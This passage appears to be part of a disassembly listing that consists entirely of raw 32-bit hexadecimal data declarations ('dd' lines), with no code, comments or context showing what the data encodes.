		dd 0FE423713h, 9AFD2A00h, 0A7549E9Bh, 64400082h, 0AEBC587Dh
		dd 753E5B22h, 8E2100A5h, 36953F28h, 0FB8A0B2Eh,	48F5EA3h
		dd 39645F61h, 2D3C349Fh, 26411A00h, 87BDC63Fh, 8F290036h
		dd 0B9C3A7D1h, 4448F9EFh, 569B0060h, 9DA12377h,	0EDDC1C26h
		dd 8A52CDh, 1F34D7D8h, 7D0422F9h, 0B1EE5153h, 0BE7F1880h
		dd 0AD080EA9h, 3B60DC5Fh, 0E844E561h, 0E965E70Ah, 7D1D964Bh
		dd 0A772DC0h, 2493B8h, 0A4E2F96Fh, 0BA6BFA48h, 7C7E2700h
		dd 95382914h, 81DF1896h, 2CCC5853h, 3DD52F13h, 5ED72440h
		dd 90B1741Bh, 985300F3h, 0C49FDBA5h, 2E0303EEh,	7DE6A45Dh
		dd 7E52A8CDh, 53A2072Ah, 0F0FDE081h, 78F76D01h,	46752F00h
		dd 0EDAD5B48h, 84EA0049h, 24515E2Bh, 9C070BF9h,	0DB677B38h
		dd 18D0BB70h, 0EC9B24F8h, 9BD243Ch, 8C007E01h, 908D5623h
		dd 338B4903h, 0A0F68E11h, 0C57F55BCh, 0A1D8AC20h, 8011A720h
		dd 9E818220h, 4BBE00AEh, 5DD38A60h, 330E12BFh, 60C7E7CAh
		dd 0BBA091CEh, 47600742h, 11BE1C88h, 0C56880DCh, 0FDD8EC97h
		dd 2DA93A00h, 0AC783562h, 6FB30022h, 5F035E3Bh,	11E1005h
		dd 8980A7A9h, 270FC888h, 0BB63D19h, 24DEAD81h, 30D06A0Eh
		dd 5706F117h, 4A085A8Bh, 580901A8h, 0A9E28AB7h,	0E6A0F486h
		dd 14161C12h, 0CCF2A700h, 2615BCDDh, 3E500B7Eh,	0B313B880h
		dd 0C79B19BBh, 1AEF7101h, 9C2BFD42h, 7EEC4C60h,	3C0B049h
		dd 537BBAB7h, 4B8339Eh,	0DA071BE6h, 5E3F6041h, 90CCD00h
		dd 0FEF60059h, 0EAFB74F5h, 0AB03F8B8h, 26A2BC42h, 0B30988C7h
		dd 0E9B40091h, 7EF173BDh, 2D09AFD0h, 489BB230h,	3D1AA5D4h
		dd 3A80FFE3h, 86D4798h,	14CB5FAh, 9A79003Ch, 0C7CCF0C6h
		dd 337C0390h, 0C00CBA9Bh, 80938BC9h, 0C10FBD4Ch, 9518DD4h
		dd 97085CD1h, 934C4400h, 43046F1Ch, 0CFA27D2Dh,	454E24D0h
		dd 0BE6200FCh, 0E67BD46Ch, 6FE8C983h, 4C79D828h, 63878600h
		dd 0B4AE17BFh, 0AFDF0F85h, 258037B7h, 9555B6CAh, 0D4F0A600h
		dd 0DF1B19C8h, 3BD87426h, 6E80F110h, 3A777D83h,	580049DEh
		dd 464B6557h, 4D6730h, 9312FF5Ch, 27F17D9Eh, 107C3CE6h
		dd 83D76009h, 0B1546886h, 4BFD3C1Ch, 99DD6074h,	6A77E249h
		dd 1403A096h, 6795FDh, 7C335931h, 50F7AAE5h, 7DC0AE0Ah
		dd 66007CA0h, 43721C5Bh, 52B9F846h, 262088C8h, 0DB039894h
		dd 0E0F66EC2h, 25289570h, 8CA01235h, 6FF9504Eh,	5AD33200h
		dd 87C21C4Ah, 0C40D09E9h, 0ABD8D9h, 9E6F0E77h, 85C0AE5Dh
		dd 59E908FBh, 0DC053AB3h, 0CF734880h, 0D6843F81h, 374B4200h
		dd 1955C48Ch, 0F4405833h, 0B2DB7D07h, 0C534C03Ah, 0DF54183Eh
		dd 7402A780h, 0D970E456h, 0F88CD0E2h, 0F7DC0086h, 4B36B4DAh
		dd 44268842h, 0E9016B2Dh, 8D2FC945h, 83D4E731h,	68330081h
		dd 79D26BBh, 84A8D45Dh,	0C800B8EBh, 7E167183h, 0B3D1B6h
		dd 0B792789Ah, 9C42785h, 93000F7Dh, 2C59E2D8h, 2AF9CCDEh
		dd 4C04C4Fh, 94F47DAEh,	0EE3880B1h, 6F0087D1h, 83450ED9h
		dd 0A09629D0h, 60B968DCh, 2BF7E881h, 7F7FA513h,	0B29E303h
		dd 90871439h, 7D511277h, 0A1DF0006h, 0EB1CCE28h, 0DE000A2Ch
		dd 0D96D156Fh, 0E2559FF3h, 562830B5h, 0ABDB4509h, 74CD10C0h
		dd 0EBFB6Eh, 6011446Ch,	0DD88B093h, 455FD602h, 0C04EE0EFh
		dd 0C463F711h, 44149029h, 515FDE5Ah, 86921E1h, 1088FA5Ch
		dd 0CA3788E5h, 47CDD07h, 3D2BAF0h, 0AA1D0033h, 8A7855AEh
		dd 1A0005E6h, 0BA54ADD3h, 0A35DF6h, 0CB08D009h,	0A85045E8h
		dd 1302B400h, 0A63B4AE3h, 7C89001Ch, 27E9B930h,	5E00D17Fh
		dd 0FAF56F01h, 54FD6872h, 0FF80ECh, 161070EAh, 0BA9A6384h
		dd 0AD754100h, 0B965A919h, 20E70037h, 636FA490h, 0C3008C96h
		dd 0E64049F7h, 65375h, 0BA177E39h, 0EC6D773Bh, 0B75EDD00h
		dd 0DA4F4B5Dh, 4D5F0369h, 67EA8E8Dh, 6EB560C0h,	15BCB154h
		dd 5499AB00h, 7958F235h, 0AFC700FAh, 0C6B667Bh,	2B3F01D8h
		dd 0DC08007Fh, 6F3C9546h, 97490345h, 1639CCC3h,	0DE6A43E8h
		dd 0B876ED01h, 203598B4h, 0F1DC0C8h, 4CAAB55Bh,	1CDBB1C1h
		dd 3B07F879h, 0BB258200h, 0A5A3010Dh, 3D0807C2h, 709010FFh
		dd 9535555Fh, 71B3C300h, 97800EE9h, 0E43300A7h,	1853D7DAh
		dd 0C0C05AECh, 614323B7h, 9DE00325h, 412DAAF0h,	8EC0BFCBh
		dd 0CA0FB30Fh, 0C04D5630h, 0FA9B20F3h, 41B03B83h, 0DC0A6705h
		dd 7C80BEF8h, 963921h, 0F030333Eh, 0AA902A46h, 8B6B6900h
		dd 16520FDFh, 941200C6h, 55C1C33Ch, 2804E637h, 5C5DFB81h
		dd 0B500EEC7h, 0FD64B982h, 3BCAAFC8h, 9580243Fh, 0C39CA59Fh
		dd 10007A27h, 665C2657h, 3A6A448h, 3FB33A03h, 0B0C7BE5Bh
		dd 136822A5h, 78FD7400h, 0D25CAE33h, 87F40B31h,	0F9A08BFCh
		dd 2B53CBEBh, 0B6AF9500h, 82E306B4h, 6B380065h,	0E888D89Fh
		dd 74024A59h, 62561F9Ah, 0E8E44313h, 7F7A40D6h,	8A36001Eh
		dd 617744Dh, 0B00F689h,	0AEB37EC3h, 1E978BFDh, 8082B65Eh
		dd 5FA1A6C6h, 4000E63Dh, 0D553FB23h, 19381Ch, 0A8215E8Dh
		dd 37272C29h, 32CCC603h, 0B011B8E0h, 7EB081h, 0C2D40AC7h
		dd 1DA5C0EDh, 99B54B00h, 0CD87D976h, 0B77D7Bh, 0B6651EBCh
		dd 3BFB1533h, 0C7F05450h, 10FDF31Dh, 7C6B08Eh, 3290DEF9h
		dd 0DBADEFh, 27770EEEh,	1FDF0EDh, 0C80C3002h, 0C051A07Ch
		dd 93168h, 0E76C79E5h, 2E4D4B12h, 0F0538628h, 3597A39h
		dd 0BCF2B7Bh, 43DF813h,	9BE50072h, 0BC7C8F53h, 0EB00F6C3h
		dd 0F776E15h, 54DA0Bh, 0F1C09D0Ah, 1190FF60h, 20EF7200h
		dd 0AE3B6124h, 0C81D0045h, 1A629B35h, 26095541h, 7366623h
		dd 0E270BE6Bh, 0B5E199h, 0D7B8DDD1h, 28538493h,	7CE6300h
		dd 1EADCA10h, 0BF4C1339h
		dd 69F1031Ah, 0C4F01FC1h, 0F2F0BA1Ch, 0BC00E5Bh, 2E3361h
		dd 0CA64EA3Ch, 105A3DFBh, 0EDB18000h, 0B2ECEFC4h, 0F4FC488Fh
		dd 0C0AB521Eh, 0C68C125Bh, 0F8C02965h, 0B9701459h, 0C22D0098h
		dd 6AE58EEh, 1B00E29Ah,	858BBC3Fh, 0E04D7154h, 8967043Eh
		dd 8083527Bh, 4EA14480h, 9C886400h, 430E97A3h, 47E7A75h
		dd 0F54BAF31h, 39908006h, 69097488h, 802FD8E0h,	8E0CCC50h
		dd 3424186Ah, 0ABF9A1DEh, 0EEE0C600h, 0E72F3E5Dh, 0E47D00DDh
		dd 6A34D2C5h, 0A40EBDD4h, 0C01F7E19h, 0DCA920A6h, 1108007Bh
		dd 0E9F5BB07h, 889870B2h, 0CBC59000h, 29C0EFA0h, 0E701EA58h
		dd 9E9DECh, 529A04DAh, 7013EA2Eh, 0E44338h, 0B32C8238h
		dd 0B0A8F089h, 7A74005Dh, 0DAD0BDAAh, 37EEC6EEh, 5013FCECh
		dd 0DC00A873h, 0B81CC5BCh, 4BFCCCh, 0A6C2157Eh,	0EE92E02Dh
		dd 0A5D4F4E9h, 0DD022C1Dh, 81B7B00h, 0E0B640h, 1260D8ADh
		dd 0C2AE2B09h, 0EFCEAC26h, 0BC4CD400h, 0F067BFE9h, 1389A0Ah
		dd 0F55B793Bh, 87D025EEh, 9556C1E0h, 0D7D3C41h,	7C45B4C4h
		dd 0BD8E0001h, 3EC1A2Fh, 8407E280h, 0BE57BA3Dh,	0A0EA7EF0h
		dd 8D8B0093h, 0FD2AB4BBh, 47005451h, 96A663D3h,	0E139684Ah
		dd 55420h, 81400A32h, 9D594F31h, 0D0232D00h, 51D4868Eh
		dd 3217FF4h, 739EBD38h,	8DD8F9E2h, 4500AAD5h, 121932C8h
		dd 4A765Bh, 0ED81DB89h,	0ADD0795Eh, 0DCA55000h,	386FFE11h
		dd 0E2160034h, 0B47D547Bh, 35013019h, 2022370Bh, 10ECEDF8h
		dd 0F5951EA9h, 1EF740D5h, 3C15452h, 0F985E216h,	0B25BE600h
		dd 1DECED16h, 0C39BFC19h, 63EAB04Bh, 8B1026D8h,	53373900h
		dd 2B1F1755h, 25AC0E8Fh, 54E06678h, 245A829Dh, 13F9DB00h
		dd 1894C44Ch, 7FC500AFh, 88198314h, 4F0067E0h, 309C12C2h
		dd 0C95A8Eh, 337AEF15h,	7FB861B7h, 0E4B16270h, 22003D1Fh
		dd 59296D9Ah, 6EE627h, 34AEE23h, 434E110Ah, 0FA56C300h
		dd 0A864E39Ah, 0EF380B7Bh, 0CA84BD6Ah, 0D379C131h, 9F08F8BFh
		dd 0D0002C98h, 7B028A4Dh, 5B3F3B1h, 17D73A69h, 0FB14C096h
		dd 0FE025C64h, 2220AB76h, 268C4077h, 52BB009Bh,	637DF8BAh
		dd 0CE000AD2h, 0EB7B9801h, 5C594C50h, 0A61C7DFEh, 4737004Bh
		dd 7D7446AFh, 0C81FF670h, 7541A3C7h, 0B0514C07h, 4D92EF8h
		dd 7F222506h, 7C0EC06Dh, 0D4FF4F8Fh, 0E2006705h, 130E3FC4h
		dd 584211h, 0BCBD07F3h,	36F09EB0h, 3A1A8107h, 51B2A871h
		dd 4E8C9E6h, 88AF04CEh,	84003894h, 393082BFh, 75476Bh
		dd 32CB91D5h, 88F57E2Eh, 83E93A00h, 7928A482h, 0F22900D8h
		dd 349D8024h, 2304DA2Fh, 5C1E56AEh, 3832F8C0h, 7C38092h
		dd 5DBC609h, 9B60101Bh,	0EA040065h, 1580977Bh, 0E800F80Eh
		dd 1F813452h, 900F8709h, 0AD3B0070h, 9A6AF45Dh,	69004E3Fh
		dd 0F6EB778Fh, 0D62D6Bh, 0D11BA64Fh, 0B6641860h, 0E2CB0C00h
		dd 1F622A1h, 23E00065h,	6DCE0DEBh, 0A8039CC4h, 55D26FCh
		dd 0F6F4888Dh, 1DCF009Eh, 7C7842ABh, 0E62622CBh, 0D70044AEh
		dd 0CCD62FBFh, 9F0A0775h, 90FBFF2Bh, 0A8A3670Fh, 61EA3C7Bh
		dd 8607E87Fh, 3DD6311Ch, 0DE885320h, 5B9400B1h,	16F8BF8Dh
		dd 0F105324Ch, 0EA6D0F5h, 0C27AE30Ah, 5E1DB200h, 1245C28Ah
		dd 81783BD6h, 26811AD0h, 7F070038h, 0D96A1210h,	6CED000Eh
		dd 0F4F5A581h, 460009A3h, 5BA0FA8Fh, 0E0E10EBh,	31197C4Dh
		dd 2ECF520h, 1D00B881h,	0FE85A38h, 1D35209h, 63E02A26h
		dd 30A9B4AEh, 0D2046AB0h, 215AAD8Ch, 0BA86E087h, 0E1EB3310h
		dd 0D6C0C221h, 0DF00AA43h, 543DE95Ah, 0F08DBEB5h, 0D1DE0F14h
		dd 2E808F10h, 0FBAC5AECh, 6A27DA1Ch, 0D8C88180h, 39F6D8Dh
		dd 0ED63E11Ah, 5801AA8Bh, 0F99C9255h, 342935C0h, 23453D7Ch
		dd 19F4E9Dh, 54F961A0h,	22C8E8CDh, 0DE112607h, 10002EB9h
		dd 15FD7D2h, 48939653h,	0C42204C8h, 29793501h, 5B841001h
		dd 4B11FE9Bh, 8362FCh, 1F2F443Fh, 3EA02920h, 0A96C8500h
		dd 8C7B7911h, 888E000Dh, 0B37DE330h, 0E1009768h, 31576080h
		dd 155223h, 26B063CDh, 2EEDB9F4h, 805BC23Ch, 89D5051Fh
		dd 23C4E9h, 963D8CE5h, 2E696DF3h, 0D8CEEBE2h, 4BC07D56h
		dd 62AA36D4h, 3C7A00B8h, 84690432h, 80A96A7Fh, 0FB8EEC8Dh
		dd 0B7892C02h, 5592DDB6h, 9E497980h, 1C7CDACEh,	7C829B00h
		dd 0F37F546Bh, 0CC3118B5h, 3DFD69FCh, 5067F630h, 18199FE4h
		dd 61577A15h, 0E007513h, 2A8543CDh, 24E29DD7h, 8740350Ch
		dd 7066CBCAh, 957D0DE7h, 4CED6000h, 1147258h, 15E00Bh
		dd 0F87F3590h, 6F783F8Bh, 0E86152h, 0EE3EA10Bh,	88587F04h
		dd 0B301AB49h, 0A362A4BCh, 198054B2h, 0B4F6DCB6h, 0BA604A57h
		dd 44C4DE41h, 1C497EEFh, 4F1D03C9h, 810083B8h, 0D592C2D4h
		dd 352FA607h, 0F30A551h, 44D07296h, 5F0EDA9Ah, 0C0018AEDh
		dd 302E19C3h, 40E8184Eh, 86A5E134h, 31B34A30h, 24F582B7h
		dd 1599BD05h, 4A14A057h, 0F11F9C08h, 0F966Eh, 0F004434Fh
		dd 0CD005A39h, 0C98B3289h, 0A87079h, 4E15A07Fh,	119F0DD3h
		dd 144D13Ch, 6E2607B7h,	73ECA8E4h, 99B10156h, 48DF1150h
		dd 46FCD070h, 8B71706h,	44298188h, 91005277h, 3C935466h
		dd 3D010B9Bh, 0F19E8D38h, 0E2DE83D5h, 5EB8691Fh, 0CE0F90E1h
		dd 0A0391548h, 0A963FA27h, 1607861h, 1D10F175h,	0E445AD55h
		dd 31009A8Ch, 0E6BDEB71h, 77641CAh, 0C0D97AEEh,	992870D6h
		dd 803EAC42h, 905B805Fh, 3BFBCE94h, 3F1400E8h, 4B6BD4B2h
		dd 0F50034A1h, 25BB2676h, 0F13A4A5h, 0B12C272Eh, 4C878AC0h
		dd 0D400B34Eh, 6EEF55DFh, 1823525h, 8E261E8Bh, 0E444989Dh
		dd 0E300CC8Ah, 0E611F92Ch, 98EB7AA0h, 170A0E6Ch, 970098DFh
		dd 74128E36h, 8D7F9101h, 75106CA8h, 14187A81h, 40819BCFh
		dd 9C68A9C0h, 8008F63Ah, 0D6F78E88h, 0F4D26CDh,	0B86BBDCBh
		dd 68DAF0E1h, 6989C4FEh, 0A055D800h, 0E00BE848h, 763A0029h
		dd 11235FF6h, 0C707D9F4h, 0C2FA2E70h, 0A5DB7771h, 1AA9E0h
		dd 84AF651Fh, 0C5E7F210h, 489EA21Ch, 90E88Fh, 2CBD968Eh
		dd 0C1EA64h, 88FC568Bh,	0F0E40BDCh, 93F34100h, 0C2AFBBDBh
		dd 1028006Dh, 503A99ACh, 60055F6h, 65FE89FFh, 0F47C81Ah
		dd 5B53B471h, 4C9C27C0h, 4D004A7Fh, 9112A74Eh, 1B58CD1h
		dd 0E206E826h, 0CC5E9A9Fh, 7401FFC2h, 6BF3BAE0h, 0B06EC422h
		dd 0D63D3F91h, 0B839FD5Ch, 0BC3C0049h, 0FDECC178h, 0EDE603FEh
		dd 3AA584BDh, 0D8E0F483h, 11009E1Bh, 52A46F6Dh,	0FE9995h
		dd 2E309B6Bh, 96D38869h, 0BC36E300h, 5A6FAED6h,	0B64E0223h
		dd 444FE2EEh, 94FA0740h, 0D0646630h, 2959CFh, 0CC0B5127h
		dd 806014C5h, 0CAFE5Ch,	551F56DFh, 38A5E787h, 800EACFh
		dd 0C7AA5D96h, 84909986h, 1A4633Ch, 87D3BD01h, 0D182B4D8h
		dd 0A6978021h, 0E2FB0E16h, 0BB45CB37h, 0A983C04Ch, 9600F0BAh
		dd 0AD492F60h, 0CF13DFh, 5B73B6D2h, 0C3226F3Fh,	96E2F200h
		dd 0E3F5426Bh, 0CE0F4D1h, 409116B3h, 84A0198Ah,	8D73449Ch
		dd 6E023Bh, 47E089EFh, 1C0392F9h, 0CE370F21h, 63E0BDE7h
		dd 0E5F239Ch, 9FBBC900h, 0FC6650AFh, 0A2980165h, 91FD5E3Bh
		dd 744EF8F0h, 0D9528600h, 65E1B985h, 6090FC22h,	8FDC90C9h
		dd 1938A899h, 1C50335h,	0E0F23CF5h, 0E53B9Ch, 34751B04h
		dd 2CB6A653h, 91029406h, 2248FF2Eh, 0A2006763h,	418909B1h
		dd 0E51557Fh, 22575601h
		dd 0D1059B00h, 5B03CBB6h, 0FDE3A4EDh, 0C3819832h, 89570183h
		dd 106EF29Ch, 91F3D450h, 0AC3F2000h, 691A8BAEh,	1F79004Eh
		dd 56DB4AAh, 61007148h,	0C5E118A9h, 0B386BCh, 32E6AB20h
		dd 3A77C364h, 52FAAD01h, 0BB55E5CBh, 0B8591CE8h, 0FFEF00F3h
		dd 51AC579Ah, 1700B979h, 0E120F08Bh, 18860B3Dh,	0D1444616h
		dd 0E43DCBF1h, 0E1CF8051h, 94A1E272h, 0C28C006Ch, 0A2BB9758h
		dd 0FE00137Bh, 703A64B6h, 38FD0FC0h, 701EFEAh, 6968377Dh
		dd 0B352E491h, 8F98EE39h, 0C0646B58h, 8966FDA7h, 0FB8F0755h
		dd 0AA11B6ADh, 315980A0h, 53704236h, 8100B390h,	370ED499h
		dd 9AB279h, 1E7449F1h, 8421B3FCh, 0FA0BD100h, 1BD95720h
		dd 0D9B00E8h, 90C1C222h, 90016F0h, 0AB89EA65h, 450235Dh
		dd 0FEDBA6B3h, 5B1083C0h, 0BBC27482h, 712132C0h, 3E031BE4h
		dd 0FBEBD959h, 2C49007Ch, 0CC2BD4A1h, 7A3814E9h, 5BD2004Bh
		dd 2976C41h, 0FB191F63h, 3053D801h, 4C3CF78Dh, 94A8545Ch
		dd 2658FDF8h, 0B19B0437h, 18C8C87Bh, 44E500E1h,	0E31EBE02h
		dd 7D1EAAFCh, 7E8099D0h, 1363EEA4h, 92393BF2h, 1D478700h
		dd 795E0D5Fh, 0F09D9600h, 37F369DCh, 0ECF40080h, 9E1C0861h
		dd 0E2072D01h, 3DE4532Ch, 5276808Fh, 0FDCF41h, 1A2D6DBh
		dd 8FA3163h, 3F09DC00h,	3AD20FD1h, 569100B8h, 629CA42Dh
		dd 827CA8E3h, 9E7C3Eh, 18DF32AEh, 0C19536h, 5E50B969h
		dd 6403AFE4h, 44E86801h, 0C0968226h, 3206C0h, 4C986CA0h
		dd 0D1702FEBh, 0DA001271h, 89E1ED33h, 14F0A1E3h, 94E73CAEh
		dd 0F31A3Fh, 26F5FDF7h,	0CEB72A15h, 874F7F01h, 0F7004FAh
		dd 784093C4h, 0C61A003Dh, 94B70B13h, 20B0F5C1h,	0A4183801h
		dd 0C4559ABh, 0C87B1DCh, 723E844Ah, 8B03C860h, 464BD32h
		dd 6CD0DF17h, 3AC59CB0h, 0D8D4B72Fh, 0CCC009Bh,	0D484F8ECh
		dd 28E8587Dh, 0C819EE07h, 830F4696h, 0C150AD62h, 20E81343h
		dd 0FE370055h, 0B1DE03E7h, 5001EE8h, 6AB70904h,	0B0DCC81h
		dd 8507D00Ch, 0F7C9E800h, 730540BDh, 258417BCh,	83065003h
		dd 68781Ch, 51621DB5h, 6A86C9E4h, 5E03C579h, 78BE9CF5h
		dd 18801E8h, 0D14BA146h, 96408276h, 0FE5C1DEh, 17146700h
		dd 747470A9h, 0FB8E972Eh, 1410C614h, 301CB249h,	5DD450ECh
		dd 0BA8100C5h, 3F218D6Bh, 0F10049C1h, 0A905AA0Bh, 86EE69h
		dd 0A29C1718h, 58BB5F43h, 0FB00AE7Ch, 0A3636E42h, 7B7810h
		dd 3CF09A1Ah, 0DA9EB590h, 0A7714D01h, 664F8C23h, 0E33DCh
		dd 51A6DB29h, 4360955Eh, 4128D800h, 63A4FDB5h, 67AC0E36h
		dd 0C0404555h, 0D0CBA2F6h, 566C8700h, 0BFFF021Ah, 77997FBAh
		dd 403000F1h, 82E9C3DBh, 0C6287950h, 3372A83Fh,	9040FA88h
		dd 0C9F727Eh, 0A581776Ch, 21C00E08h, 60D1D85Ah,	0BB703Ah
		dd 52340983h, 3DC387C2h, 0CA6DEB00h, 0EFFD289h,	7D61C802h
		dd 0B9D1BDC0h, 6D4A219Fh, 0D1B5FD60h, 0CB3800C2h, 68BF796Ah
		dd 1200DC2Ch, 3C2EA865h, 529B6Fh, 0AC0795FBh, 1A687933h
		dd 0DBD41C0Eh, 8B73A16Ah, 209FFCEAh, 1359B026h,	0C30B47C9h
		dd 80271BE3h, 0BFCD2C68h, 89300D86h, 5130E7BAh,	0D6269630h
		dd 637610h, 0A74A65ACh,	4F31A1C7h, 8B43Dh, 0FDEABC2h, 3C5B222Dh
		dd 580BBE3h, 0ED69C916h, 6A0C60F1h, 5996D1AAh, 0C1A30076h
		dd 0E1378441h, 366611E4h, 1D211508h, 80C6BB56h,	0F505A616h
		dd 6601C7F6h, 65554482h, 0E88C0A36h, 1B31A5D0h,	959FB100h
		dd 912A4DE9h, 0F58E00D9h, 23EA87CEh, 0C6001BADh, 613DCB3Ah
		dd 6079255h, 0A8B504DDh, 0B00E977h, 7D312738h, 1D0C8588h
		dd 0C84F0DEh, 2A2005F1h, 9E0B4004h, 0DCC00F5Ch,	60AA8064h
		dd 0D0738808h, 0C500AD3Fh, 13D46621h, 561229h, 6D026126h
		dd 3FDC01Eh, 59004A7Eh,	87FB8360h, 1972ABDh, 45FE407Ch
		dd 20200366h, 0FF00B81Dh, 0BEC292E1h, 0C067D976h, 36473B4Ah
		dd 3300CACCh, 0B02413A1h, 1943E2h, 20E41250h, 703D696Dh
		dd 95B71426h, 0DD728900h, 0E4F58646h, 9AE4004Ch, 2C514DCFh
		dd 327AD12Fh, 0A758A0Eh, 46C100A3h, 0FDD4C0h, 15D66938h
		dd 0D82E6F90h, 5994E402h, 9D917A71h, 1A41F504h,	1180B019h
		dd 0CC31F02Fh, 8D3A3A3Fh, 54F1802Eh, 69F9E32Bh,	1921608Bh
		dd 28979C75h, 1910A789h, 48C37822h, 0D7BFBA1h, 92F8A260h
		dd 633C0021h, 6000D73h,	0DC8EE69Fh, 3128799h, 0BD5224E3h
		dd 18009CA6h, 0FB8F0D11h, 776CBA13h, 3CC0F0CAh,	3F3A798Dh
		dd 0E9AEA20Ch, 85E29950h, 3C70DFh, 8A11E027h, 18A87C3Ah
		dd 81BB6904h, 80077512h, 29E345A2h, 7AF897B0h, 0A8680003h
		dd 855B88B1h, 9918836Ch, 21C88159h, 6B8E4071h, 0C7907F00h
		dd 0E2D68340h, 1202005Ch, 0BA104289h, 0E740BFAh, 0F9CC69C1h
		dd 0E3DCF8AFh, 31F9C7ADh, 0C179907Ah, 0E277D937h, 5C18EA61h
		dd 0B4C17038h, 0B096DCh, 5E47FB84h, 0D20CD8FDh,	7D788100h
		dd 0BEA4E380h, 0F8D5F855h, 2366391Ah, 0EF2F1B85h, 0F4AC43AAh
		dd 0A0CBAF69h, 0A0C0D86Eh, 0C6CC05D9h, 71F7180Ah, 5B5919A1h
		dd 28F2FA03h, 80BA1D6Ah, 0C099092Ch, 864D0380h,	0C0A8DF9h
		dd 98A75C75h, 0FA059603h, 0B87AA2B9h, 846B0424h, 2A13C544h
		dd 9094C3h, 46033B85h, 3FD7A701h, 3C702200h, 5EF15A7Bh
		dd 0C9F8008Ah, 0DEE09223h, 1094DBBh, 0B46E0Dh, 74150304h
		dd 0B0FCA0AAh, 80860C9h, 788FBFD4h, 0F48EB81Ch,	7D973BC0h
		dd 0FE6F981h, 8DA84F15h, 1150CA85h, 0FC8458B0h,	41B4485Fh
		dd 405A919Dh, 0D319BCA4h, 753BE30Ah, 74A88050h,	0A8A7344h
		dd 90275AB8h, 0DA4B81BCh, 8375C7EBh, 0C40AAC48h, 0C3B0007Eh
		dd 4C775259h, 0E4EC27DDh, 0E018706Fh, 0B7040B0Dh, 6589084h
		dd 0AEA74A89h, 9B3950D9h, 9C48A459h, 32A99040h,	484C907Dh
		dd 0C2C574F1h, 90B05488h, 0D484F447h, 83FD4055h, 0C163C819h
		dd 6846C620h, 7E698E8Ah, 96D4E0B0h, 686CC21Bh, 80FCE092h
		dd 15E7A62h, 0CC02FBDEh, 5CDC486Dh, 503498A6h, 1401865Eh
		dd 5FDF8AE4h, 29929FA6h, 0BACC007Eh, 6C76D3FEh,	0C0810C2Ah
		dd 2744C103h, 0F0A05E75h, 9011850Ah, 2A6E093h, 198AC2D9h
		dd 6C4B6FC5h, 53050DD0h, 8700C1F8h, 7073476Ch, 5CE0B8Bh
		dd 0D6BCA285h, 0C884391h, 8802D21Bh, 4AAC322Bh,	45C8976h
		dd 0AA485250h, 793C1483h, 0A49A00Ch, 0F8C4A4E1h, 836200F2h
		dd 13963FE4h, 6F003CE7h, 0F9FD6503h, 67895C4h, 0A1F73EAFh
		dd 7A06B958h, 0D7D5A322h, 0D0F10171h, 4E16E2F2h, 6BFA0090h
		dd 0E9718A0h, 761181C4h, 0DD7DC09h, 48CCACC3h, 0D5A0089Bh
		dd 4F187B1Bh, 0C4C3F438h, 417A5728h, 0DA6F8ACEh, 2111E3E3h
		dd 0F30E6A68h, 1D066A3h, 860E4518h, 6998F1E9h, 7CD21E68h
		dd 8E650037h, 5EFA3585h, 13FD5F00h, 5359A911h, 0FC6C15BDh
		dd 2040DCD1h, 0D369008Ch, 0A72AD0F0h, 6F70DBC6h, 0EFFA9006h
		dd 0B058A3h, 9DBFB1DAh,	22244DF9h, 6059ED24h, 0DC688E1Eh
		dd 0A6E3FA00h, 5685A82h, 4CCD7014h, 4A38B8D7h, 31DD1218h
		dd 0CA192592h, 0AA18E749h, 0AC20B7C5h, 690A1529h, 4200D87Bh
		dd 1332A192h, 0EA05DEA4h, 78D28CF8h, 0BB234490h, 174D1414h
		dd 0CD85FCADh, 0B10908Bh, 903A9484h, 84403C6h, 0D014D4FDh
		dd 4805FB7Eh, 8D008777h, 151755F8h, 0CFF896F2h,	98EAE513h
		dd 3AD92005h, 0A60AB060h, 7C238092h, 98FA9F0Dh,	7DF41081h
		dd 0C8EB0083h
		dd 0AFE454CFh, 0D0B15B4Ch, 10ACFE00h, 312D8D1Fh, 6F185F0Bh
		dd 0B9D7C814h, 0F3B041F9h, 1040CCE2h, 3427072Ch, 41649A0Ch
		dd 0CF030971h, 8884BA78h, 5E1C80E8h, 0BF000A6Eh, 6A07D9A1h
		dd 0F840FB7Dh, 1527C1Eh, 0EBF77C6Bh, 311A148Eh,	58F8306Ch
		dd 4A2C849Ah, 671584D9h, 3A8B1894h, 18430BD0h, 294F2515h
		dd 5F19EAEBh, 9B31C001h, 0D7605510h, 0C4C90A00h, 65D2E40Ch
		dd 21E9007Eh, 29D15BC2h, 2290E6D4h, 0F1003FE8h,	0D71BE371h
		dd 66A6E2h, 6FD56DF7h, 464D8A31h, 3D4F603Fh, 0E0747497h
		dd 7A2F6300h, 8B7CA634h, 0AF060E2Dh, 27C14A73h,	0FC86EA42h
		dd 34C14D9h, 8267B3E0h,	2680C6B6h, 49F8A369h, 758E2804h
		dd 70049C8Bh, 978D3B9Ch, 0AF84C834h, 38C8524Ah,	6E3A2406h
		dd 13243E8Ch, 495A4668h, 6F21A0A8h, 47BFD26h, 8722C210h
		dd 20FA9926h, 0BA412544h, 88EB762Eh, 437A0B28h,	5158818Ch
		dd 0E960603h, 0FA48B3EDh, 0EFB12477h, 93A12ACh,	408F17CCh
		dd 0C344B308h, 434C130Ah, 28111898h, 1E1959AAh,	18940EAh
		dd 23055F3Dh, 0B0EEF3FCh, 2F85A900h, 0FDB75EFFh, 77107929h
		dd 0DE4700A0h, 0B17AA207h, 0F0912731h, 0D26300A6h, 0F176E10Ch
		dd 70B59C20h, 74A64D4Fh, 60D0E587h, 6D5E1A7Fh, 120228B3h
		dd 43056E8Ch, 0A065A034h, 49D2FD36h, 0D072E1ACh, 684C6138h
		dd 4E451DC0h, 132AD449h, 14B08080h, 448AA5Dh, 4475172Ah
		dd 66A97490h, 96160941h, 24996B57h, 69171797h, 9D242069h
		dd 130D9F62h, 6741EE4Fh, 8E0468h, 0F2872762h, 49E4AA5Ch
		dd 0F4109250h, 293AA25Ah, 0D54C5468h, 2AFBB9C2h, 0E508E8F9h
		dd 3A7C0FF8h, 688E8A9Ah, 0A5D46DE7h, 205C1279h,	0CE9DE10h
		dd 0A17C7701h, 0D3E57871h, 499B85F0h, 0ED15C0D7h, 7E00EC10h
		dd 18FB31B3h, 8218DE4Dh, 78A96CCEh, 0F4E90EC2h,	0A0A3386h
		dd 0CB96876Ch, 0D9B1FC64h, 8D9C6C0Bh, 69AF8173h, 0BC48E4F8h
		dd 9A1214C2h, 0E2009062h, 9168DCEBh, 0FC2BACABh, 64E4180Bh
		dd 0CD04BCC0h, 0F16100AAh, 0A0F8B35Eh, 0F432D0FBh, 0C971F1BBh
